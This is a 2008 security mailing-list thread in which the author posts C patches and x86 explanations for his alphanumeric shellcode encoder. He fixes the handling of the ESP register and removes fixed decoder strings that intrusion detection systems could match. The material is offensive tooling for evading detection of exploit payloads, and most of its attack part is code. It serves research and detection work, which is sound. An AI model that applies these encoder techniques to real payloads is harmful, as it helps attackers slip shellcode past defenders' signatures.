[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <cd51a8c60808052306y7a8740f1o946bcd4575ad4ba9@mail.gmail.com>
Date: Wed, 6 Aug 2008 09:06:34 +0300
From: "Avraham Schneider" <avri.schneider@...il.com>
To: "Avraham Moshe Schneider" <Avraham.Schneider@...ddin.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Alphanumeric Shellcode Encoding and Detection
While my post awaits moderator approval (over 100KB) - I thought I'd
share with you a fix:
Basically what I do now is this:
ebx needs to point to address of the decoder+1 and edx and ecx need to
point to the address of the decoder
Since we added 2 bytes to the head of the decoder, I need to increment
ebx, ecx, and edx by 2 to reserve the same functionality.
I do this by utilizing one of the unused push instructions to the
stack (for an unused register) and replace it with an inc ecx just
before ecx is pushed to the stack, for setting the ebx register on a
popad - ecx at that point holds the address of the decoder + 2
So now I don't need to increment ebx before the start of the decoder
loop - and I can use that instruction to increment edx or ecx
And since I don't need the inc edi either, I can also use it to inc ecx or edx.
I can also push ecx (containing the address of the decoder) to the
stack before the push for setting the ecx register on the popad -
since ecx eas not a needed register before, (I set it within the
decoder head from edx), I randomized the corresponding push register
instruction, not anymore - now I push ecx, and it holds the address of
the decoder, which would increment by 2 as described above.
So to summerize:
I have 4 instructions in the decoder head I can play with (as I don't
need to push ecx;pop eax;inc ebx;inc edi) - I use them to increment
ecx and edx by 2
I replace one of the push instructions for the popad (this affects
eax, it will now contain the first 4 bytes of the decoder head, which
we don't care about) - with an inc ecx - this is used to increment ebx
once (by incrementing ecx before the push for setting the ebx
register).
.Here's the code:
Add this to the if(p_state[3]){} block - after all the previous
checks... (i.e. at the end of the block) - make sure to change
p_state[] allocation to support the extra states - i.e. change to
UCHAR *p_state[9]; and memset(p_state, 0, sizeof(UCHAR*)*9);
if(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp")
{//.*[8A].*[8A].*[56].*[56]
p_state[5] = memchr(p_state[0], 5,
11-(p_state[0]-random_states));
p_state[6] = memchr(p_state[0], 6,
11-(p_state[0]-random_states));
p_state[7] = memchr(p_state[0], 8,
11-(p_state[0]-random_states));
p_state[8] = memchr(p_state[0], 10,
11-(p_state[0]-random_states));
if(p_state[5] < p_state[7] ||
p_state[5] < p_state[8] ||
p_state[6] < p_state[7] ||
p_state[6] < p_state[8]
)
p_state[4] = 0;
}
Change to the following:
instructions[7][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x41':'\x52';
//R
instructions[8][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x42':'\x59';
//Y
instructions[9][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x41':'\x47';
//G
instructions[10][0] =
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?'\x42':'\x43'; //C
strcat(instruction_comments[7],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc ecx":"push edx");
strcat(instruction_comments[8],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc edx":"pop ecx");
strcat(instruction_comments[9],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc ecx":"inc edi");
strcat(instruction_comments[10],
Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)=="esp"?"inc edx":"inc ebx");
Place the following before printing the decoder to stdout (instead of
the previous fix):
//bugfix: handle case of esp pointing to shellcode
if (!strcmp(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE), "esp"))
{
/* _asm
{
push esp
pop ecx
push ecx
push ecx
inc ecx //since the stack is messed up
here, eax results in
push ecx //being equal to the first 4 bytes
of the decoder
}
and we also 'fix' the decoder head accordingly
*/
p_alnum_shellcode = malloc(strlen(alnum_shellcode)+1+2);
memset(p_alnum_shellcode, 0, strlen(alnum_shellcode)+1+2);
memcpy(p_alnum_shellcode+2, alnum_shellcode, strlen(alnum_shellcode)+1);
p_alnum_shellcode[0] = 'T';
p_alnum_shellcode[1] = 'Y';
p_alnum_shellcode[2] = 'Q';
p_alnum_shellcode[3] = get_push_register_instruction("ecx");
p_alnum_shellcode[4] = 'A';
p_alnum_shellcode[5] = get_push_register_instruction("ecx");
}
On Wed, Aug 6, 2008 at 2:36 AM, Avraham Schneider
<avri.schneider@...il.com> wrote:
> On Tue, Aug 5, 2008 at 11:31 PM, Avraham Schneider
> <avri.schneider@...il.com> wrote:
>> Oops - that is not correct - it will only work when the second and
>> third bits of ESP are 0
>>
>> :-) I was to quick on the send button.
>>
>> EAX is basically XOR's with the length of the string, and instead I
>> need to increment it by the length of the string... I'll have to come
>> up with a better solution... (I'll probably have to resort to
>> patching... but I was looking for a quick and dirty fix)
>>
>> If anyone comes up with a solution for this before me, I'll buy them a
>> Shawarma next time they're in Israel ;-)
>>
>> Regards,
>> Avri
>>
>> On Tue, Aug 5, 2008 at 7:00 PM, Avraham Moshe Schneider
>> <Avraham.Schneider@...ddin.com> wrote:
>>> I fixed a couple of bugs -
>>>
>>> 1. The srand() function was called after calls to rand() - causing a fixed string in the decoder which an IDS could signature on
>>> 2. Case of ESP register pointing to the head of the decoder was not handled, it is fixed now, but needs to be randomized. Right now, in the case of ESP pointing to the shellcode, the following fixed string would exist at the head of the decoder routine: "TX4640"
>>> This translates to:
>>> _asm
>>> {
>>> push esp;
>>> pop eax;
>>> xor al, 0x36;
>>> xor al, 0x30;
>>> }
>>>
>>> The '6' and the '0' can be any alphanumeric byte where the first is the second+6 or vice versa.
>>>
>>> You may add alphanumeric NOP instructions in between and change the diff between the bytes accordingly.
>>> The diff between the two XOR values should be the length of the resulting string.
>>>
>>> I used the EAX register, as XOR'ing it with an immediate value is alphanumeric.
>>>
>>> Regards,
>>> Avri
>>> **********************************************************************************************
>>>
>>> The contents of this email and any attachments are confidential.
>>> It is intended for the named recipient(s) only.
>>> If you have received this email in error please notify the system manager or the
>>> sender immediately and do not disclose the contents to anyone or make copies.
>>> ** eSafe scanned this email for viruses, vandals and malicious content **
>>>
>>> **********************************************************************************************
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>>
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists